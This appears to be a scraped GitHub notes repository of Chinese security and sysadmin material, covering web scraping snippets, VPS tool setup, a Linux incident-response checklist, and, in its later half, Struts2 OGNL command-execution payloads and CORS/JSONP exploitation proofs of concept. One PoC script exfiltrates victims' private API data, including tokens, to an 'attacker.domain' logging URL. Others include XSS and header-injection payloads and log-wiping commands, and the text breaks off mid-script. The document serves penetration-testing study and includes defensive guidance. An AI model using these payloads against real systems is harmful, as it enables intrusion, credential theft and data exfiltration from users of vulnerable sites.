ai0tsec / blog Goto Github PK
View Code? Open in Web Editor NEWI wish the world continues to be lively, I wish you and me are still you and me.
License: Creative Commons Attribution Share Alike 4.0 International
I wish the world continues to be lively, I wish you and me are still you and me.
License: Creative Commons Attribution Share Alike 4.0 International
京东
import requests
url = "https://item.jd.com/100005603522.html"
try:
r = requests.get(url)
r.raise_for_status()
r.encoding = r.apparent_encoding
print(r.text[:1000])
except:
print("爬取失败")
亚马逊
import requests
url = "https://www.amazon.cn/gp/product/B01M8L5Z3Y"
try:
kv = {'user-agent':'Mozilla/5.0'}
r = requests.get(url,headers=kv)
r.raise_for_status()
r.encoding = r.apparent_encoding
print(r.text[1000:2000])
except:
print("爬取失败")
百度
import requests
url = "http://www.baidu.com/s"
keyword = "Python"
try:
kv = {'wd':keyword}
r = requests.get(url,params=kv)
print(r.request.url)
r.raise_for_status()
print(len(r.text))
except:
print("爬取失败")
360
import requests
url = "https://www.so.com/s"
keyword = "python"
try:
kv = {'q':keyword}
r = requests.get(url,params=kv)
print(r.request.url)
r.raise_for_status()
print(len(r.text))
except:
print("爬取失败")
图片爬取
import requests
import os
url = "http://image.ngchina.com.cn/userpic/99679/2019/0615113404996793383.jpeg"
root = "D://pics//"
path = root + url.split('/')[-1]
try:
if not os.path.exists(root):
os.mkdir(root)
if not os.path.exists(path):
r = requests.get(url)
with open(path,'wb') as f :
f.write(r.content)
f.close()
print("文件保存成功")
else:
print("文件已存在")
except:
print("爬取失败")
IP地址归属地
import requests
url = "http://m.ip138.com/ip.asp?ip="
try:
r = requests.get(url + "202.204.80.112")
r.raise_for_status()
r.encoding = r.apparent_encoding
print(r.text[-500:])
except:
print("爬取失败")
https://www.microsoft.com/en-us/securityengineering/sdl
https://www.microsoft.com/en-us/securityengineering/devsecops
安全产品/服务
RASP(软件运行时安全)、黑盒扫描(DAST:动态应用安全测试)、灰盒扫描(IAST:交互式应用安全测试)、白盒扫描(SAST:静态应用安全测试+SCA:软件成分分析/供应链安全)、威胁建模,以及全流程的开发安全培训
IAST 接入模式:
代理模式、流量镜像模式、插桩模式、日志平台模式、VPN、流量信使
SAST 部署模式:
IDE插件、代码仓库集成
阿里云、腾讯云、华为云、百度云、七牛云、UCLOUD、AWS、Azure、VULTR
apt-get install yum
wget –no-check-certificate -O shadowsocks.sh https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks.sh
chmod +x shadowsocks.sh
./shadowsocks.sh 2>&1 | tee shadowsocks.log
输入IP地址、端口、密码、选择对应的加密方式,右键启动,选择PAC模式即可
wget --no-check-certificate https://github.com/teddysun/across/raw/master/bbr.sh
chmod +x bbr.sh
./bbr.sh
输入lsmod | grep bbr
,显示tcp_bbr
则安装成功
apt update
apt install aria2
aria2c --enable-rpc --rpc-listen-all --rpc-allow-origin-all --rpc-secret=输入密码 -c --dir /root/downloads -D
sudo apt-get install apache2
wget https://github.com/mayswind/AriaNg/releases/download/1.1.1/AriaNg-1.1.1-AllInOne.zip
cd /var/www/html
unzip AriaNg-1.1.1-AllInOne.zip
浏览器访问VPS IP地址,修改AriaNG_RPC,IP、端口、密钥(aria2c所设置的密码),修改完成,Aria2状态显示已连接
wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl
chmod a+rx /usr/local/bin/youtube-dl
youtube-dl -h
youtube-dl --list-extractors
目前支持下载的网站列表
选择具有视频和音频的单个文件所代表的最佳质量格式,进行下载:youtube-dl -f best https://domain/path
查看要下载的视频/音频存在哪些格式:youtube-dl -F https://domain/path
选择某一视频/音频格式,确认编号后进行下载:youtube-dl -f 编号 https://domain/path
结合ffmpeg可将两种格式的视频和音频合并为一个文件:
youtube-dl -f bestvideo+bestaudio https://domain/path
youtube-dl -f 136+140 https://domain/path
youtube-dl --write-sub https://domain/path
apt install ffmpeg
wget http://www.ffmpeg.org/releases/ffmpeg-4.1.tar.gz
tar -zxvf ffmpeg-4.1.tar.gz
cd ffmpeg-4.1
./configure
make
make install
apt install apache2
apt install php
apt install libapache2-mod-php
apt install php-curl
wget https://release.larsjung.de/h5ai/h5ai-0.29.2.zip
unzip -zxvf h5ai-0.29.2.zip
cp -r _h5ai/ /var/www/html
浏览器访问:http://IP_Address/_h5ai/public/index.php
初始密码为空
修改密码:_h5ai/private/conf/options.json
NO:表示需安装此部分环境
Shell zip
Command line program zip available
apt install zip
PDF thumbsyes
Command line program convert available
apt install imagemagick
Image thumbsyes
PHP GD extension with JPEG support available
apt install php-gd
service apache2 restart
Private Cache directory
Web server has write access
Public Cache directory
Web server has write access
chmod 777 /var/www/html/_h5ai/private/cache
chmod 777 /var/www/html/_h5ai/public/cache
默认主页:http://IP_Address/_h5ai/public/index.php
修改配置文件:/etc/apache2/mods-available/dir.conf
,添加路径/_h5ai/public/index.php
,重启Apache服务器sudo service apache2 restart
什么时间?什么现象?确认事件是否属实?LINUX发行版?命令是否被替换?系统命令完整性检测?做过什么处理?当前状态?受影响主机范围?该现象可能产生的原因?可能留下的痕迹?是否部署安全设备/产品?有无相关记录?网络环境架构?是否提供账号密码可登陆受影响主机?是否存在过某些漏洞/弱口令/数据库/中间件/高危端口?
cat /etc/passwd
cat /etc/shadow
注意文件修改时间,UID和GID为0的账户:
grep "0" /etc/passwd
awk -F: '$3==0 {print $1}' /etc/passwd
awk '/\$1|\$6/{print $1}' /etc/shadow
awk -F: 'length($2)==0 {print $1}' /etc/shadow
本地登陆:
tty
、远程登录:pts
who
w
uptime
whoami
lastlog
last
lastb
netstat -anltp | grep "pid/port/string"
ps aux | grep "PID"
ps -ef | grep "PID"
top
top
-> M
M – 以内存占用率大小的顺序排列进程列表
top
-> N
N – 以 PID 的大小的顺序排列表示进程列表
top
-> P
P – 以 CPU 占用率大小的顺序排列进程列表
top
-> h
top
-> f
ls -la /proc/PID/exe
file /proc/PID/exe
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2
lsof -p PID
列出全部进程打开的文件:
lsof
strace -tt -T -e trace=all -p PID
kill -9 PID/ProcessName
输出:history
清除:history -c
history -c
无法清除保存在文件.bash_history
中的记录,rm -rf .bash_history
可彻底删除保存的历史纪录
HISTFILESIZE
的值决定.bash_history
文件可保存记录总数
HISTSIZE
的值决定history
命令输出/显示记录总数
查看系统服务:
service --status-all
ps aux
netstat -anlp
cd /etc/init.d
ls -alt
yum install ntsysv
ntsysv
*
表示开机自启
chkconfig --list
查看运行级别命令:
runlevel
运行级别 | Name(含义) | Description(描述) |
---|---|---|
0 | Halt(关机) | Shuts down the system(关闭系统) |
1 | Single-user mode(单用户模式) | Mode for administrative tasks(管理模式,类比Windows安全模式) |
2 | Multi-user mode(多用户模式) | Does not configure network interfaces and does not export networks services(未配置网络接口且不提供网络服务) |
3 | Multi-user mode with networking(存在网络连接的多用户模式) | Starts the system normally(正常启动系统) |
4 | Not used/user-definable(不可用/用户可定义) | For special purposes(用于特殊需求/目的) |
5 | Start the system normally with appropriate display manager (with GUI)(具有图形界面且存在网络连接的多用户模式) | Same as runlevel 3 + display manager(运行级别3+图形界面) |
6 | Reboot(重启) | Reboots the system(重新启动操作系统) |
开机启动配置文件:
/etc/rc.local
/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d
查看开机启动项:
chkconfig --list | grep "3:on\|5:on"
crontab -u root -l
cat /etc/crontab
ls /etc/cron.*
ls –alt /tmp/
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
更改:find /etc/ /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime 0
访问:find /tmp -iname "*" -atime 1 -type f
-type [参数]
f 普通文件
l 符号连接
d 目录
c 字符设备
b 块设备
s 套接字
p Fifo
modify time -mtime [值]:修改文件内容,mtime/ctime/atime变更;
change time -ctime [值]:修改文件属性/权限,ctime/atime变更;
access time -atime [值]:命令/应用程序读取/访问文件,atime变更
-mtime 0:返回24小时内修改过的文件
-mtime 1:返回48-24小时内修改过的文件
-mtime 2:返回72-48小时内修改过的文件
stat 可显示文件的状态信息
按时间进行排序,结合RPM。
ls -alt /usr/bin /usr/sbin /bin /usr/local/bin
rpm -Va > rpm.log
lsattr命令用于显示文件属性
chattr命令用于改变文件属性
查看某个文件属性:lsattr 目录/文件
用chattr命令防止系统中某个关键文件被修改:chattr +i 目录/文件
,此时命令操作该文件所得结果提示为Operation not permitted
,VIM编辑该文件时会提示W10: Warning: Changing a readonly file
错误。要想修改此文件就要把i
属性去掉:chattr -i 目录/文件
设置某个文件只能往里面追加数据,但不能删除,适用于各种日志文件:chattr +a 目录/文件
弱口令、未授权访问漏洞、Web漏洞、系统漏洞
日志 | 说明 |
---|---|
/var/log/syslog /var/log/messages | 显示有关系统的常规消息和信息 |
/var/log/auth.log /var/log/secure | 保留成功或失败登录以及身份验证过程的身份验证日志 |
/var/log/boot.log | 启动消息和启动信息 |
/var/log/maillog var/log/mail.log | 用于邮件服务器日志,方便用于服务器上运行的postfix,smtpd或电子邮件相关服务信息 |
/var/log/kern | 保留内核日志和警告信息 |
/var/log/dmesg | 设备驱动程序消息的存储库 |
/var/log/faillog | 记录失败登录信息 |
/var/log/cron | 记录计划任务相关的信息 |
/var/log/daemon.log | 跟踪正在运行的后台服务 |
/var/log/btmp | 记录所有失败的登录尝试 |
/var/log/utmp | 用户的当前登录状态 |
/var/log/wtmp | 每次登录/注销的记录 |
/var/log/lastlog | 保存每个用户的上次登录信息 |
/var/log/yum.log | 保存使用yum命令的任何软件包安装的数据 |
/var/log/httpd/ | 包含Apache httpd守护程序的error_log和access_log文件的目录 |
/var/log/mysqld.log /var/log/mysql.log | 记录每个调试失败和成功消息的MySQL日志文件,包括启动,停止和重新启动MySQL守护程序mysqld |
/var/log/pureftp.log | 使用pureftp进程监视FTP连接,包含FTP登录和身份验证失败的数据 |
/var/log/spooler | 通常不包含任何内容,除了来自USENET的罕见消息 |
/var/log/xferlog | 保持FTP文件传输会话,包括文件名和用户启动的FTP传输等信息 |
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
grep "refused" /var/log/secure* | awk {'print $9'} | sort | uniq -c |sort -nr | more
grep "Failed password" /var/log/secure* | grep -E -o "(([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3}))" | uniq -c
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort
grep "Failed password" /var/log/secure | awk {'print $9'} | sort | uniq -c | sort -nr
攻击者清除痕迹:
rm -rf /root/.bash_history
echo > /var/log/日志
下载:wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
解压:tar zxvf chkrootkit.tar.gz
编译:
Centos编译环境:yum install gcc gcc-c++ make glibc-static
cd chkrootkit-版本
make sense
将编译好的文件移动至根目录下:
mv /root/chkrootkit-版本 /
执行:
若存在
INFECTED
提示,则说明存在Rootkit。
./chkrootkit | grep "INFECTED" > scanresult.txt
chkrootkit扫描过程使用部分系统命令,若服务器被入侵后,恶意攻击者修改系统命令,则chkrootkit扫描结果不可信。
下载:wget https://sourceforge.net/projects/rkhunter/files/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz
解压:tar -zxvf rkhunter-1.4.6.tar.gz
安装:
cd rkhunter-1.4.6
./installer.sh --install
运行:rkhunter -c --rwo
扫描结果:
cat /var/log/rkhunter.log
rkhunter -c --rwo > scanresult.txt
下载:wget http://www.clamav.net/downloads/production/clamav-0.101.2.tar.gz
解压:tar -zxvf clamav-0.101.2.tar.gz
安装:
cd clamav-0.101.2
./configure
make
make check
make install
运行:
cd clamscan
clamscan -h
下载安装:yum install -y clamav
病毒库攻击:freshclam
使用:clamscan -h
Clamav文档:https://www.clamav.net/documentation
下载:https://github.com/chaitin/cloudwalker/releases
添加可执行权限:chmod +x webshell-detector-1.0.0-linux-amd64
使用:./webshell-detector-1.0.0-linux-amd64 /path/to/your-web-root/ /var/www/html /path/to/some-file
输出:./webshell-detector-1.0.0-linux-amd64 -html -output result.html /path/to/web-root/
下载:wget https://edr.sangfor.com.cn/api/download/WebShellKillerForLinux.tar.gz
解压:tar -zxvf WebShellKillerForLinux.tar.gz
添加可执行权限:chmod +x ./wscan
下载:wget -O hm-linux.tgz http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz
Linux系统32位/64位确认:arch、uname -r、uname -m、uname -a
解压:
ls
tar xvf hm-linux.tgz
使用:
./hm -h
./hm version
./hm version
./hm scan /your-web-root
用法:
rpm --usage
rpm --help
rpm -?
使用:
rpm -Va > rpm.log
单个
.
表示测试通过,单个?
表示无法执行测试
http://ftp.rpm.org/max-rpm/rpm.8.html
输出格式:8个字符
属性标记:
GScan、security_check、linux安全检查、Lynis、LinEnum、osquery
攻击日志分析:https://github.com/Lucifer1993/ALB
Web日志分析:https://github.com/JeffXue/web-log-parser
Web日志分析命令:https://www.cnhzz.com/web_logs/
Windows系统安全登录日志分析工具:https://github.com/TheKingOfDuck/logonTracer
参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
Vulhub/Vulhub_GitHub
VulApps/VulApps_GitHub
获取tomcat执行路径:
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
获取Web路径:
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
执行任意命令:
命令+参数:
new java.lang.String[]{"cat","/etc/passwd"}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
云计算是通过 Internet 按需提供计算能力、数据库存储、应用程序和其他 IT 资源,采用按使用量付费的定价模式。
简而言之,公用云服务可透过网络及第三方服务供应者,开放给客户使用,“公用”一词并不一定代表“免费”,但也可能代表免费或相当廉价,公用云并不表示用户数据可供任何人查看,公用云供应者通常会对用户实施使用访问控制机制,公用云作为解决方案,既有弹性,又具备成本效益。
私有云具备许多公用云环境的优点,例如弹性、适合提供服务,两者差别在于私有云服务中,数据与程序皆在组织内管理,且与公用云服务不同,不会受到网络带宽、安全疑虑、法规限制影响;此外,私有云服务让供应者及用户更能掌控云基础架构、改善安全与弹性,因为用户与网络都受到特殊限制。
社群云由众多利益相仿的组织掌控及使用,例如特定安全要求、共同宗旨等。社群成员共同使用云数据及应用程序。
混合云结合公用云及私有云,这个模式中,用户通常将非企业关键信息外包,并在公用云上处理,但同时掌控企业关键服务及数据。
消费者使用应用程序,但并不掌控操作系统、硬件或运作的网络基础架构。是一种服务观念的基础,软件服务供应商,以租赁的概念提供客户服务,而非购买,比较常见的模式是提供一组账号密码。例如:Microsoft CRM与Salesforce.com。
消费者使用主机操作应用程序。消费者掌控运作应用程序的环境(也拥有主机部分掌控权),但并不掌控操作系统、硬件或运作的网络基础架构。平台通常是应用程序基础架构。例如:Google App Engine。
消费者使用“基础计算资源”,如处理能力、存储空间、网络组件或中间件。消费者能掌控操作系统、存储空间、已部署的应用程序及网络组件(如防火墙、负载平衡器等),但并不掌控云基础架构。例如:Amazon AWS、Rackspace。
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
同源策略下的跨域请求
同源判断示例:URL地址 http://www.example.com/dir/page.html
Compared URL | Outcome | Reason |
---|---|---|
http://www.example.com/dir/page2.html | Success | Same protocol, host and port |
http://www.example.com/dir2/other.html | Success | Same protocol, host and port |
http://domain-ip/dir/page2.html | Failure | Different host (exact match required) |
http://username:[email protected]/dir2/other.html | Success | Same protocol, host and port |
http://www.example.com:81/dir/other.html | Failure | Same protocol and host but different port |
https://www.example.com/dir/other.html | Failure | Different protocol |
http://en.example.com/dir/other.html | Failure | Different host |
http://example.com/dir/other.html | Failure | Different host (exact match required) |
http://v2.www.example.com/dir/other.html | Failure | Different host (exact match required) |
http://www.example.com:80/dir/other.html | Depends | Port explicit. Depends on implementation in browser |
AJAX本身不是一种新技术,而是用来描述一种使用现有技术集合/标准的新方法,包括: HTML or XHTML
、Cascading Style Sheets
、JavaScript
、The Document Object Model
、XML
、XSLT
以及 XMLHttpRequest
object。当使用结合了这些技术的AJAX模型以后, 网页应用能够快速地将增量更新呈现在用户界面上,而不需要重新加载整个页面。这使得程序能够更快地回应用户的操作。
尽管X在Ajax中代表XML, 但由于JSON的许多优势,比如更加轻量以及作为Javascript的一部分,目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中打包信息。
JSONP就是利用 <script>
标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。通过该标准,可以允许浏览器向跨源服务器发出 XMLHttpRequest
请求,从而克服了AJAX
只能同源使用的限制,进而读取跨域的资源。CORS允许Web服务器通知Web浏览器应该允许哪些其他来源从该Web服务器的回复中访问内容
未启用CORS
CORS未设置
Access-Control-Allow-Credentials
,则浏览器发送的请求不会带有用户的身份数据(Cookie或者HTTP身份数据)
ACAO
与ACAC
头错误配置利用空格来分隔多个源 Access-Control-Allow-Origin: https://example1.com https://example2.com
利用通配符信任所有的子域名 Access-Control-Allow-Origin: *.example.com
浏览器报错
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Nginx 错误配置示例:
add_header "Access-Control-Allow-Origin" $http_origin;
add_header “Access-Control-Allow-Credentials” “true”;
动态生成访问控制策略的方法:在
Access-Control-Allow-Origin
中反射请求的Origin值。该配置可导致任意攻击者网站可以直接跨域读取其资源内容。
target.domain
允许example.com
跨域,对example.com
进行校验
匹配方式 | 校验内容 | 绕过方式 |
---|---|---|
包含匹配 | 只校验是否包含example.com |
构造Origin: https://malicious.example.com |
前缀匹配 | 只校验前缀是否为example.com |
构造Origin: https://example.com.malicious.com. |
后缀匹配 | 只校验后缀是否为example.com |
构造Origin: https://maliciousexample.com |
子域名匹配 | 只校验是否为子域名 | 控制目标站点某一子域名或利用存在XSS漏洞的子域名 |
尽量避免使用正则表达式进行校验
null
源开发者在网站上配置信任null
源,用于调试代码(页面跳转、与本地file页面共享数据)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
攻击者可从任意域下通过iframe sandbox
构造Origin
为null
的跨域请求
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>XMLHttpRequest here</script>’></iframe>
请求包
GET /handler
Host: target.local
Origin: null
响应包
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
HTTPS协议被设计用于在不安全的网络中进行安全通信。即使在中间人网络环境下,攻击者也应该无法读取HTTPS网站的内容。但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容。
为了防止某个子域上XSS漏洞的危害其他子域,浏览器设计了Cookie
的httponly
标志,用于限制Javascript读取Cookie,因此某个子域XSS不能读取带有httponly
标记的Cookie
,难以窃取其他重要子域上的敏感内容。
但是如果这个域配置了CORS且信任全部子域,那么攻击者可以利用其他任意子域上XSS漏洞,发送跨域请求到目标重要域网站,从而获取敏感内容。
Origin:*
与 Credentials:true
共用浏览器报错
Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true
为避免该配置产生浏览器报错,部分Web框架将Access-Control-Allow-Origin:*
与Access-Control-Allow-Credentials:true
转换为反射Origin,导致产生安全问题
Vary:Origin
头当 Access-Control-Allow-Origin
是被动态生成的话,则需指定 Vary: Origin
标头,避免攻击者利用缓存进行攻击。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin
的值发生变化。
Vary: Origin头详解
https://zhuanlan.zhihu.com/p/38972475
Cookies 使用不同的源定义方式。一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。Firefox 和 Chrome 使用 Public Suffix List 决定一个域是否是一个公共后缀(public suffix)。Internet Explorer使用其自己的内部方法来确定域是否是公共后缀。不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名(sub-domains) 访问 cookie。设置 cookie 时,可以使用Domain
,Path
,Secure
,和Http-Only
标记来限定其访问性。
Cookie共享:https://localhost:8080/ 和 http://localhost:8081/
GoogleHacking
语法site:target.com inurl:?callback
http://www.anquan.us/static/bugs/wooyun-2016-0204941.html
http://www.anquan.us/static/bugs/wooyun-2015-0118712.html
referer校验/过滤
增加CSRF Token
防御同XSS漏洞结合:
严格按照 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )
对callback函数的长度进行限制、内容进行特殊字符的过滤
Proxy
-Options
-Match and Replace
Filter by search term
中输入Access-Control-Allow-Origin: foo.example.org
curl cors漏洞站点 -H "Origin:https://example.com/" -I
https://github.com/chenjj/CORScanner
https://github.com/lc/theftfuzzer
“Access-Control-Allow-Origin” value | “Access-Control-Allow-Credentials” value | 是否可利用 | 备注 |
---|---|---|---|
https://attacker.com | true | 是 | 最佳实践 |
* |
true | 否 | 浏览器报错 |
null | true | 是 | 任意网站使用沙盒iframe来获取null 源 |
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>CORS request here</script>’></iframe>
1.创建一个JavaScript脚本去发送CORS请求,POC关键代码如下:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=”//attacker.domain/log?response=”+this.responseText;
};
2.当带有目标系统用户凭据的受害者访问带有上述代码的页面时,浏览器就会发送下面的请求到存在CORS漏洞的服务器
GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>
3.响应包
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"[email protected]","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"}
4.因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。
“Access-Control-Allow-Origin” value | 是否可利用 |
---|---|
https://attacker.com | 是 |
null | 是 |
* |
是 |
如果目标应用程序与受害者的网络可达,并且目标应用程序使用IP地址作为身份验证的方式,则黑客会利用受害者的浏览器作为代理去访问那些目标应用程序并且可以绕过那些基于IP的身份验证。
该配置下,攻击者可结合其他的漏洞进行攻击。例如,数据报文头部中包含 X-User
标头,其值未进行任何输入验证、输出编码。
请求包
GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>
响应包
Access-Control-Allow-Origin
已被设置,Access-Control-Allow-Credentials: true
与Vary: Origin
头未被设置
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
…
Content-Type: text/html
…
Invalid user: <svg/onload=alert(1)>
攻击者可构造存在恶意的XSS payload页面,诱使受害者触发。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
location='http://www.target.local/login';
}
若不存在CORS漏洞,则上述方式不能被利用,因为无法让受害者浏览器发送自定义头部,但是如果存在CORS漏洞,则可用
XMLHttpRequest
进行实现
防御方法
当 Access-Control-Allow-Origin
是被动态生成的话,需指定 Vary: Origin
标头。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin
的值发生变化。
该配置下,攻击者可结合其他的漏洞进行攻击。例如,利用CORS的错误配置注入任意HTTP头部,将其保存在服务器端缓存,可用来构造存储型XSS
利用条件:存在服务器端缓存、能够反射
Origin
头部、不会检查Origin
头部中的特殊字符,如\r
利用方式:攻击IE/Edge用户(IE/Edge使用
\r
作为的HTTP头部字段的终结符)
请求
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
回车 代码:CR(carriage return) ASCII码:\ r ,十六进制:0x0d,回车的作用只是移动光标至该行的起始位置
换行 代码:LF(line feed) ASCII码:\ n ,十六进制:0x0a,换行至下一行行首起始位置
IE解析后的响应报文
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
上述方式无法直接利用,因为攻击者无法保证受害者浏览器会提前发送畸形的消息头。如果攻击者能提前发送畸形的
Origin
消息头,比如利用代理或者命令行的方式发送,则服务器就会缓存这样的返回报文并作用于其他用户。上例中,攻击者将页面的编码设置为UTF-7
,可引发XSS漏洞。
UTF-7 XSS
http://www.xfcxc.top/index.php/2018/07/20/utf-7-xss/
https://sakurasec.com/utf-7-xss/
http://www.91ri.org/3979.html
Access-Control-Allow-Origin
为通配符 *
或 null
,严格效验来自请求数据包中的 Origin
的值Vary: Origin
头部,以避免攻击者利用浏览器缓存进行攻击Access-Control-Allow-Credentials
标头设置为默认值 true
,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为 false
Access-Control-Allow-Methods
最大限度地减少所涉及的方法,降低风险Access-Control-Allow-Methods
和 Access-Control-Allow-Headers
头部,限制浏览器缓存信息的时间。通过配置 Access-Control-Max-Age
标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值,确保浏览器在短时间内可以更新策略客户端实现 callbackvalue
函数
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
</head>
<body>
<script type="text/javascript">
function callbackvalue(jsonp)
{
alert(jsonp.name);
}
</script>
<script type="text/javascript" src="http://domain/contents?jsoncallback=callbackvalue"></script>
</body>
</html>
jQuery
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
</head>
<body>
<script type="text/javascript">
$.getJSON("http://domain/contents?jsoncallback=?", function(callbackvalue){
alert(callbackvalue.参数);
});
</script>
</body>
</html>
bWAPP_latest.zip
https://github.com/gh0stkey/DoraBox
https://github.com/gh0stkey/PoCBox
https://github.com/trustedsec/cors-poc
https://github.com/nccgroup/CrossSiteContentHijacking
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://target.com/info/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
<html>
<head>
<script>
function cors() {
var r = new XMLHttpRequest();
r.onreadystatechange = function() {
if (r.readyState == 4 && r.status == 200) {
alert(r.responseText);
}
};
r.open("GET", "https://target.com/info/", true);
r.send();
}
</script>
</head>
<body>
<button type="button" onclick="cors()">Exploit</button>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC</title>
</head>
<body>
<center>
GET Request
<form action="./get.php">
URL: <input type="text" name="url"><br>
<input type="submit" value="Attack">
</form>
<br><br>
POST Request
<form action="./post.php" id="postform">
URL: <input type="text" name="url"><br>
Data: <br><textarea rows="4" cols="50" name="data" form="postform"></textarea><br>
<input type="submit" value="Attack">
</form>
</center>
</body>
</html>
get.php
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<?php echo @$_GET["url"];?>',true);
// req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: <?php echo @$_GET["url"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
// document.write(this.responseText);
};
</script>
</body>
</html>
post.html
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
var data = "<?php echo @$_GET["data"];?>";
req.onload = reqListener;
req.open('post','<?php echo @$_GET["url"];?>',true);
req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send(data);
function reqListener() {
var output = document.getElementById('output');
